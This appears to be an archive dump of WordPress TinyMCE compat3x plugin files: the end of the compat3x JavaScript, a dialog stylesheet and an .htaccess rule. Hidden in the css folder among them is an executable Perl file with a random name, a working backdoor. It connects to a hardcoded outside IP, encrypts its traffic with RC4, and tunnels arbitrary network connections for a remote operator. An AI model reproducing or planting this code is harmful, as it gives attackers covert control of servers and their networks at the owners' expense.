patchedPostRender() { editor.controlManager.buttons[name] = this; if (originalOnPostRender) { return originalOnPostRender.apply(this, arguments); } } for (var key in settings) { if (key.toLowerCase() === "onpostrender") { originalOnPostRender = settings[key]; settings.onPostRender = patchedPostRender; } } if (!originalOnPostRender) { settings.onPostRender = patchedPostRender; } if (settings.title) { settings.title = translate(settings.title); } return originalAddButton.call(this, name, settings); }; editor.on('init', function () { var undoManager = editor.undoManager, selection = editor.selection; undoManager.onUndo = new Dispatcher(editor, "Undo", convertUndoEventArgs, null, undoManager); undoManager.onRedo = new Dispatcher(editor, "Redo", convertUndoEventArgs, null, undoManager); undoManager.onBeforeAdd = new Dispatcher(editor, "BeforeAddUndo", null, undoManager); undoManager.onAdd = new Dispatcher(editor, "AddUndo", null, undoManager); selection.onBeforeGetContent = new Dispatcher(editor, "BeforeGetContent", filterSelectionEvents(true), selection); selection.onGetContent = new Dispatcher(editor, "GetContent", filterSelectionEvents(true), selection); selection.onBeforeSetContent = new Dispatcher(editor, "BeforeSetContent", filterSelectionEvents(true), selection); selection.onSetContent = new Dispatcher(editor, "SetContent", filterSelectionEvents(true), selection); }); editor.on('BeforeRenderUI', function () { var windowManager = editor.windowManager; windowManager.onOpen = new Dispatcher(); windowManager.onClose = new Dispatcher(); windowManager.createInstance = function (className, a, b, c, d, e) { log("windowManager.createInstance(..)"); var constr = tinymce.resolve(className); return new constr(a, b, c, d, e); }; }); } tinymce.on('SetupEditor', function (e) { patchEditor(e.editor); }); tinymce.PluginManager.add("compat3x", patchEditor); tinymce.addI18n = function (prefix, o) { var I18n = tinymce.util.I18n, each = tinymce.each; if (typeof prefix == "string" && prefix.indexOf('.') === -1) { I18n.add(prefix, o); return; } if (!tinymce.is(prefix, 'string')) { each(prefix, function (o, lc) { each(o, function (o, g) { each(o, function (o, k) { if (g === 'common') { I18n.data[lc + '.' + k] = o; } else { I18n.data[lc + '.' + g + '.' + k] = o; } }); }); }); } else { each(o, function (o, k) { I18n.data[prefix + '.' + k] = o; }); } }; })(tinymce); tinymce/plugins/compat3x/css/s0jp4d0x 0000755 00000022033 15111757756 0013544 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.171'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/compat3x/css/dialog.css 0000644 00000017763 15111757756 0014231 0 ustar 00 /* * Edited for compatibility with old TinyMCE 3.x plugins in WordPress. * More info: https://core.trac.wordpress.org/ticket/31596#comment:10 */ /* Generic */ body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size:13px; background:#fcfcfc; padding:0; margin:8px 8px 0 8px; } textarea {resize:none;outline:none;} a:link, a:hover { color: #2B6FB6; } a:visited { color: #3C2BB6; } .nowrap {white-space: nowrap} /* Forms */ form {margin: 0;} fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;} legend {color:#2B6FB6; font-weight:bold;} label.msg {display:none;} label.invalid {color:#EE0000; display:inline;} input.invalid {border:1px solid #EE0000;} input {background:#FFF; border:1px solid #dfdfdf;} input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} input, select, textarea {border:1px solid #dfdfdf;} input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} .input_noborder {border:0;} /* Buttons */ #insert, #cancel, #apply, .mceActionPanel .button, input.mceButton, .updateButton { display: inline-block; text-decoration: none; border: 1px solid #adadad; margin: 0; padding: 0 10px 1px; font-size: 13px; height: 24px; line-height: 22px; color: #333; cursor: pointer; -webkit-border-radius: 3px; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; background: #fafafa; background-image: -webkit-gradient(linear, left top, left bottom, from(#fafafa), to(#e9e9e9)); background-image: -webkit-linear-gradient(top, #fafafa, #e9e9e9); background-image: -moz-linear-gradient(top, #fafafa, #e9e9e9); background-image: -o-linear-gradient(top, #fafafa, #e9e9e9); background-image: linear-gradient(to bottom, #fafafa, #e9e9e9); text-shadow: 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #fff; -moz-box-shadow: inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; } #insert { background: #2ea2cc; background: -webkit-gradient(linear, left top, left bottom, from(#2ea2cc), to(#1e8cbe)); background: -webkit-linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%); background: linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#2ea2cc', endColorstr='#1e8cbe',GradientType=0 ); border-color: #0074a2; -webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.5); box-shadow: inset 0 1px 0 rgba(120,200,230,0.5); color: #fff; text-decoration: none; text-shadow: 0 1px 0 rgba(0,86,132,0.7); } #cancel:hover, input.mceButton:hover, .updateButton:hover, #cancel:focus, input.mceButton:focus, .updateButton:focus { background: #f3f3f3; background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3)); background-image: -webkit-linear-gradient(top, #fff, #f3f3f3); background-image: -moz-linear-gradient(top, #fff, #f3f3f3); background-image: -ms-linear-gradient(top, #fff, #f3f3f3); background-image: -o-linear-gradient(top, #fff, #f3f3f3); background-image: linear-gradient(to bottom, #fff, #f3f3f3); border-color: #999; color: #222; } #insert:hover, #insert:focus { background: #1e8cbe; background: -webkit-gradient(linear, left top, left bottom, from(#1e8cbe), to(#0074a2)); background: -webkit-linear-gradient(top, #1e8cbe 0%,#0074a2 100%); background: linear-gradient(top, #1e8cbe 0%,#0074a2 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1e8cbe', endColorstr='#0074a2',GradientType=0 ); border-color: #0074a2; -webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.6); box-shadow: inset 0 1px 0 rgba(120,200,230,0.6); color: #fff; } .mceActionPanel #insert { float: right; } /* Browse */ a.pickcolor, a.browse {text-decoration:none} a.browse span {display:block; width:20px; height:18px; border:1px solid #FFF; margin-left:1px;} .mceOldBoxModel a.browse span {width:22px; height:20px;} a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30);} a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} a.pickcolor span {display:block; width:20px; height:16px; margin-left:2px;} .mceOldBoxModel a.pickcolor span {width:21px; height:17px;} a.pickcolor:hover span {background-color:#B2BBD0;} div.iframecontainer {background: #fff;} /* Charmap */ table.charmap {border:1px solid #AAA; text-align:center} td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} #charmap a {display:block; color:#000; text-decoration:none; border:0} #charmap a:hover {background:#CCC;color:#2B6FB6} #charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} #charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} #charmap #charmapView {background-color:#fff;} /* Source */ .wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} .mceActionPanel {margin-top:5px;} /* Tabs classes */ .tabs {width:100%; height:19px; line-height:normal; border-bottom: 1px solid #aaa;} .tabs ul {margin:0; padding:0; list-style:none;} .tabs li {float:left; border: 1px solid #aaa; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} .tabs li.current {border-bottom: 1px solid #fff; margin-right:2px;} .tabs span {float:left; display:block; padding:0px 10px 0 0;} .tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} .tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} .wp-core-ui #tabs { padding-bottom: 5px; background-color: transparent; } .wp-core-ui #tabs a { padding: 6px 10px; margin: 0 2px; } /* Panels */ .panel_wrapper div.panel {display:none;} .panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} .panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} /* Columns */ .column {float:left;} .properties {width:100%;} .properties .column1 {} .properties .column2 {text-align:left;} /* Titles */ h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} h3 {font-size:14px;} .title {font-size:12px; font-weight:bold; color:#2B6FB6;} /* Dialog specific */ #link .panel_wrapper, #link div.current {height:125px;} #image .panel_wrapper, #image div.current {height:200px;} #plugintable thead {font-weight:bold; background:#DDD;} #plugintable, #about #plugintable td {border:1px solid #919B9C;} #plugintable {width:96%; margin-top:10px;} #pluginscontainer {height:290px; overflow:auto;} #colorpicker #preview {display:inline-block; padding-left:40px; height:14px; border:1px solid black; margin-left:5px; margin-right: 5px} #colorpicker #previewblock {position: relative; top: -3px; padding-left:5px; padding-top: 0px; display:inline} #colorpicker #preview_wrapper {text-align:center; padding-top:4px; white-space: nowrap; float: right;} #colorpicker #insert, #colorpicker #cancel {width: 90px} #colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} #colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} #colorpicker #light div {overflow:hidden;} #colorpicker .panel_wrapper div.current {height:175px;} #colorpicker #namedcolors {width:150px;} #colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} #colorpicker #colornamecontainer {margin-top:5px;} #colorpicker #picker_panel fieldset {margin:auto;width:325px;} /* Localization */ body[dir="rtl"], body[dir="rtl"] fieldset, body[dir="rtl"] input, body[dir="rtl"] select, body[dir="rtl"] textarea, body[dir="rtl"] #charmap #codeN, body[dir="rtl"] .tabs a { font-family: Tahoma, sans-serif; } tinymce/plugins/compat3x/css/.htaccess 0000444 00000000177 15111757756 0014043 0 ustar 00 <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>